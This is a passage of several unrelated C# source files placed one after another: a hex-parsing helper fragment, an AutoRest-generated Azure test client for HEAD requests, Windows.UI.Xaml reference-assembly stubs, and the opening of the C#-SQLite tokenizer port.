StringSplitOptions.RemoveEmptyEntries)[^1]; var bytesText = parts[1].Trim().Replace(" ", ""); if (bytesText.StartsWith("0x")) { bytesText = bytesText[2..]; } return GetBytes(bytesText); } private static byte[] GetBytes(string bytesText) { var data = new Queue<byte>(); for (var i = 0; i < bytesText.Length; i += 2) { data.Enqueue(byte.Parse(bytesText.Substring(i, 2), NumberStyles.HexNumber)); } return data.ToArray(); } #endregion }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. namespace Fixtures.Azure.AcceptanceTestsHeadExceptions { using System.Linq; using Microsoft.Rest; using Microsoft.Rest.Azure; /// <summary> /// HeadExceptionOperations operations. /// </summary> internal partial class HeadExceptionOperations : Microsoft.Rest.IServiceOperations<AutoRestHeadExceptionTestService>, IHeadExceptionOperations { /// <summary> /// Initializes a new instance of the HeadExceptionOperations class. /// </summary> /// <param name='client'> /// Reference to the service client. /// </param> /// <exception cref="System.ArgumentNullException"> /// Thrown when a required parameter is null /// </exception> internal HeadExceptionOperations(AutoRestHeadExceptionTestService client) { if (client == null) { throw new System.ArgumentNullException("client"); } this.Client = client; } /// <summary> /// Gets a reference to the AutoRestHeadExceptionTestService /// </summary> public AutoRestHeadExceptionTestService Client { get; private set; } /// <summary> /// Return 200 status code if successful /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse> Head200WithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "Head200", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "http/success/200").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("HEAD"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new Microsoft.Rest.Azure.CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); if (_httpResponse.Content != null) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); } else { _responseContent = string.Empty; } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_httpResponse.Headers.Contains("x-ms-request-id")) { ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } /// <summary> /// Return 204 status code if successful /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse> Head204WithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "Head204", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "http/success/204").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("HEAD"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 204) { var ex = new Microsoft.Rest.Azure.CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); if (_httpResponse.Content != null) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); } else { _responseContent = string.Empty; } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_httpResponse.Headers.Contains("x-ms-request-id")) { ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } /// <summary> /// Return 404 status code if successful /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse> Head404WithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "Head404", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "http/success/404").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("HEAD"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 204) { var ex = new Microsoft.Rest.Azure.CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); if (_httpResponse.Content != null) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); } else { _responseContent = string.Empty; } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_httpResponse.Headers.Contains("x-ms-request-id")) { ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // ------------------------------------------------------------------------------ // Changes to this file must follow the http://aka.ms/api-review process. // ------------------------------------------------------------------------------ namespace Windows.UI.Xaml { public partial struct CornerRadius { private int _dummy; public CornerRadius(double uniformRadius) { throw null; } public CornerRadius(double topLeft, double topRight, double bottomRight, double bottomLeft) { throw null; } public double BottomLeft { get { throw null; } set { } } public double BottomRight { get { throw null; } set { } } public double TopLeft { get { throw null; } set { } } public double TopRight { get { throw null; } set { } } public override bool Equals(object obj) { throw null; } public bool Equals(global::Windows.UI.Xaml.CornerRadius cornerRadius) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.CornerRadius cr1, global::Windows.UI.Xaml.CornerRadius cr2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.CornerRadius cr1, global::Windows.UI.Xaml.CornerRadius cr2) { throw null; } public override string ToString() { throw null; } } public partial struct Duration { private int _dummy; public Duration(global::System.TimeSpan timeSpan) { throw null; } public static global::Windows.UI.Xaml.Duration Automatic { get { throw null; } } public static global::Windows.UI.Xaml.Duration Forever { get { throw null; } } public bool HasTimeSpan { get { throw null; } } public global::System.TimeSpan TimeSpan { get { throw null; } } public global::Windows.UI.Xaml.Duration Add(global::Windows.UI.Xaml.Duration duration) { throw null; } public static int Compare(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public override bool Equals(object value) { throw null; } public bool Equals(global::Windows.UI.Xaml.Duration duration) { throw null; } public static bool Equals(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public override int GetHashCode() { throw null; } public static global::Windows.UI.Xaml.Duration operator +(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static bool operator >(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static bool operator >=(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static implicit operator global::Windows.UI.Xaml.Duration(global::System.TimeSpan timeSpan) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static bool operator <(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static bool operator <=(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static global::Windows.UI.Xaml.Duration operator -(global::Windows.UI.Xaml.Duration t1, global::Windows.UI.Xaml.Duration t2) { throw null; } public static global::Windows.UI.Xaml.Duration operator +(global::Windows.UI.Xaml.Duration duration) { throw null; } public global::Windows.UI.Xaml.Duration Subtract(global::Windows.UI.Xaml.Duration duration) { throw null; } public override string ToString() { throw null; } } public enum DurationType { Automatic = 0, Forever = 2, TimeSpan = 1, } public partial struct GridLength { private int _dummy; public GridLength(double pixels) { throw null; } public GridLength(double value, global::Windows.UI.Xaml.GridUnitType type) { throw null; } public static global::Windows.UI.Xaml.GridLength Auto { get { throw null; } } public global::Windows.UI.Xaml.GridUnitType GridUnitType { get { throw null; } } public bool IsAbsolute { get { throw null; } } public bool IsAuto { get { throw null; } } public bool IsStar { get { throw null; } } public double Value { get { throw null; } } public override bool Equals(object oCompare) { throw null; } public bool Equals(global::Windows.UI.Xaml.GridLength gridLength) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.GridLength gl1, global::Windows.UI.Xaml.GridLength gl2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.GridLength gl1, global::Windows.UI.Xaml.GridLength gl2) { throw null; } public override string ToString() { throw null; } } public enum GridUnitType { Auto = 0, Pixel = 1, Star = 2, } public partial class LayoutCycleException : global::System.Exception { public LayoutCycleException() { } public LayoutCycleException(string message) { } public LayoutCycleException(string message, global::System.Exception innerException) { } } public partial struct Thickness { private int _dummy; public Thickness(double uniformLength) { throw null; } public Thickness(double left, double top, double right, double bottom) { throw null; } public double Bottom { get { throw null; } set { } } public double Left { get { throw null; } set { } } public double Right { get { throw null; } set { } } public double Top { get { throw null; } set { } } public override bool Equals(object obj) { throw null; } public bool Equals(global::Windows.UI.Xaml.Thickness thickness) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Thickness t1, global::Windows.UI.Xaml.Thickness t2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Thickness t1, global::Windows.UI.Xaml.Thickness t2) { throw null; } public override string ToString() { throw null; } } } namespace Windows.UI.Xaml.Automation { public partial class ElementNotAvailableException : global::System.Exception { public ElementNotAvailableException() { } public ElementNotAvailableException(string message) { } public ElementNotAvailableException(string message, global::System.Exception innerException) { } } public partial class ElementNotEnabledException : global::System.Exception { public ElementNotEnabledException() { } public ElementNotEnabledException(string message) { } public ElementNotEnabledException(string message, global::System.Exception innerException) { } } } namespace Windows.UI.Xaml.Controls.Primitives { public partial struct GeneratorPosition { private int _dummy; public GeneratorPosition(int index, int offset) { throw null; } public int Index { get { throw null; } set { } } public int Offset { get { throw null; } set { } } public override bool Equals(object o) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Controls.Primitives.GeneratorPosition gp1, global::Windows.UI.Xaml.Controls.Primitives.GeneratorPosition gp2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Controls.Primitives.GeneratorPosition gp1, global::Windows.UI.Xaml.Controls.Primitives.GeneratorPosition gp2) { throw null; } public override string ToString() { throw null; } } } namespace Windows.UI.Xaml.Markup { public partial class XamlParseException : global::System.Exception { public XamlParseException() { } public XamlParseException(string message) { } public XamlParseException(string message, global::System.Exception innerException) { } } } namespace Windows.UI.Xaml.Media { public partial struct Matrix : global::System.IFormattable { private int _dummy; public Matrix(double m11, double m12, double m21, double m22, double offsetX, double offsetY) { throw null; } public static global::Windows.UI.Xaml.Media.Matrix Identity { get { throw null; } } public bool IsIdentity { get { throw null; } } public double M11 { get { throw null; } set { } } public double M12 { get { throw null; } set { } } public double M21 { get { throw null; } set { } } public double M22 { get { throw null; } set { } } public double OffsetX { get { throw null; } set { } } public double OffsetY { get { throw null; } set { } } public override bool Equals(object o) { throw null; } public bool Equals(global::Windows.UI.Xaml.Media.Matrix value) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Media.Matrix matrix1, global::Windows.UI.Xaml.Media.Matrix matrix2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Media.Matrix matrix1, global::Windows.UI.Xaml.Media.Matrix matrix2) { throw null; } string System.IFormattable.ToString(string format, global::System.IFormatProvider provider) { throw null; } public override string ToString() { throw null; } public string ToString(global::System.IFormatProvider provider) { throw null; } public global::Windows.Foundation.Point Transform(global::Windows.Foundation.Point point) { throw null; } } } namespace Windows.UI.Xaml.Media.Animation { public partial struct KeyTime { private int _dummy; public global::System.TimeSpan TimeSpan { get { throw null; } } public override bool Equals(object value) { throw null; } public bool Equals(global::Windows.UI.Xaml.Media.Animation.KeyTime value) { throw null; } public static bool Equals(global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime1, global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime2) { throw null; } public static global::Windows.UI.Xaml.Media.Animation.KeyTime FromTimeSpan(global::System.TimeSpan timeSpan) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime1, global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime2) { throw null; } public static implicit operator global::Windows.UI.Xaml.Media.Animation.KeyTime(global::System.TimeSpan timeSpan) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime1, global::Windows.UI.Xaml.Media.Animation.KeyTime keyTime2) { throw null; } public override string ToString() { throw null; } } public partial struct RepeatBehavior : global::System.IFormattable { private int _dummy; public RepeatBehavior(double count) { throw null; } public RepeatBehavior(global::System.TimeSpan duration) { throw null; } public double Count { get { throw null; } set { } } public global::System.TimeSpan Duration { get { throw null; } set { } } public static global::Windows.UI.Xaml.Media.Animation.RepeatBehavior Forever { get { throw null; } } public bool HasCount { get { throw null; } } public bool HasDuration { get { throw null; } } public global::Windows.UI.Xaml.Media.Animation.RepeatBehaviorType Type { get { throw null; } set { } } public override bool Equals(object value) { throw null; } public bool Equals(global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior) { throw null; } public static bool Equals(global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior1, global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior2) { throw null; } public override int GetHashCode() { throw null; } public static bool operator ==(global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior1, global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior1, global::Windows.UI.Xaml.Media.Animation.RepeatBehavior repeatBehavior2) { throw null; } string System.IFormattable.ToString(string format, global::System.IFormatProvider formatProvider) { throw null; } public override string ToString() { throw null; } public string ToString(global::System.IFormatProvider formatProvider) { throw null; } } public enum RepeatBehaviorType { Count = 0, Duration = 1, Forever = 2, } } namespace Windows.UI.Xaml.Media.Media3D { public partial struct Matrix3D : global::System.IFormattable { private int _dummy; public Matrix3D(double m11, double m12, double m13, double m14, double m21, double m22, double m23, double m24, double m31, double m32, double m33, double m34, double offsetX, double offsetY, double offsetZ, double m44) { throw null; } public bool HasInverse { get { throw null; } } public static global::Windows.UI.Xaml.Media.Media3D.Matrix3D Identity { get { throw null; } } public bool IsIdentity { get { throw null; } } public double M11 { get { throw null; } set { } } public double M12 { get { throw null; } set { } } public double M13 { get { throw null; } set { } } public double M14 { get { throw null; } set { } } public double M21 { get { throw null; } set { } } public double M22 { get { throw null; } set { } } public double M23 { get { throw null; } set { } } public double M24 { get { throw null; } set { } } public double M31 { get { throw null; } set { } } public double M32 { get { throw null; } set { } } public double M33 { get { throw null; } set { } } public double M34 { get { throw null; } set { } } public double M44 { get { throw null; } set { } } public double OffsetX { get { throw null; } set { } } public double OffsetY { get { throw null; } set { } } public double OffsetZ { get { throw null; } set { } } public override bool Equals(object o) { throw null; } public bool Equals(global::Windows.UI.Xaml.Media.Media3D.Matrix3D value) { throw null; } public override int GetHashCode() { throw null; } public void Invert() { } public static bool operator ==(global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix1, global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix2) { throw null; } public static bool operator !=(global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix1, global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix2) { throw null; } public static global::Windows.UI.Xaml.Media.Media3D.Matrix3D operator *(global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix1, global::Windows.UI.Xaml.Media.Media3D.Matrix3D matrix2) { throw null; } string System.IFormattable.ToString(string format, global::System.IFormatProvider provider) { throw null; } public override string ToString() { throw null; } public string ToString(global::System.IFormatProvider provider) { throw null; } } }
using System; using System.Diagnostics; using System.Text; namespace Community.CsharpSqlite { public partial class Sqlite3 { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** An tokenizer for SQL ** ** This file contains C code that splits an SQL input string up into ** individual tokens and sends those tokens one-by-one over to the ** parser for analysis. ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 ** ************************************************************************* */ //#include "sqliteInt.h" //#include <stdlib.h> /* ** The charMap() macro maps alphabetic characters into their ** lower-case ASCII equivalent. On ASCII machines, this is just ** an upper-to-lower case map. On EBCDIC machines we also need ** to adjust the encoding. Only alphabetic characters and underscores ** need to be translated. */ #if SQLITE_ASCII //# define charMap(X) sqlite3UpperToLower[(unsigned char)X] #endif //#if SQLITE_EBCDIC //# define charMap(X) ebcdicToAscii[(unsigned char)X] //const unsigned char ebcdicToAscii[] = { ///* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 1x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 0, 0, /* 6x */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */ // 0, 97, 98, 99,100,101,102,103,104,105, 0, 0, 0, 0, 0, 0, /* 8x */ // 0,106,107,108,109,110,111,112,113,114, 0, 0, 0, 0, 0, 0, /* 9x */ // 0, 0,115,116,117,118,119,120,121,122, 0, 0, 0, 0, 0, 0, /* Ax */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */ // 0, 97, 98, 99,100,101,102,103,104,105, 0, 0, 0, 0, 0, 0, /* Cx */ // 0,106,107,108,109,110,111,112,113,114, 0, 0, 0, 0, 0, 0, /* Dx */ // 0, 0,115,116,117,118,119,120,121,122, 0, 0, 0, 0, 0, 0, /* Ex */ // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Fx */ //}; //#endif /* ** The sqlite3KeywordCode function looks up an identifier to determine if ** it is a keyword. If it is a keyword, the token code of that keyword is ** returned. If the input is not a keyword, TK_ID is returned. ** ** The implementation of this routine was generated by a program, ** mkkeywordhash.h, located in the tool subdirectory of the distribution. ** The output of the mkkeywordhash.c program is written into a file ** named keywordhash.h and then included into this source file by ** the #include below. */ //#include "keywordhash.h" /* ** If X is a character that can be used in an identifier then ** IdChar(X) will be true. Otherwise it is false. ** ** For ASCII, any character with the high-order bit set is ** allowed in an identifier. For 7-bit characters, ** sqlite3IsIdChar[X] must be 1. ** ** For EBCDIC, the rules are more complex but have the same ** end result. ** ** Ticket #1066. the SQL standard does not allow '$' in the ** middle of identfiers. But many SQL implementations do. ** SQLite will allow '$' in identifiers for compatibility. ** But the feature is undocumented. */ #if SQLITE_ASCII //#define IdChar(C) ((sqlite3CtypeMap[(unsigned char)C]&0x46)!=0) #endif //#if SQLITE_EBCDIC //const char sqlite3IsEbcdicIdChar[] = { ///* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */ // 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, /* 4x */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, /* 5x */ // 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, /* 6x */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, /* 7x */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, /* 8x */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, /* 9x */ // 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, /* Ax */ // 0, 0, 0, 0, 0, 0, 0, 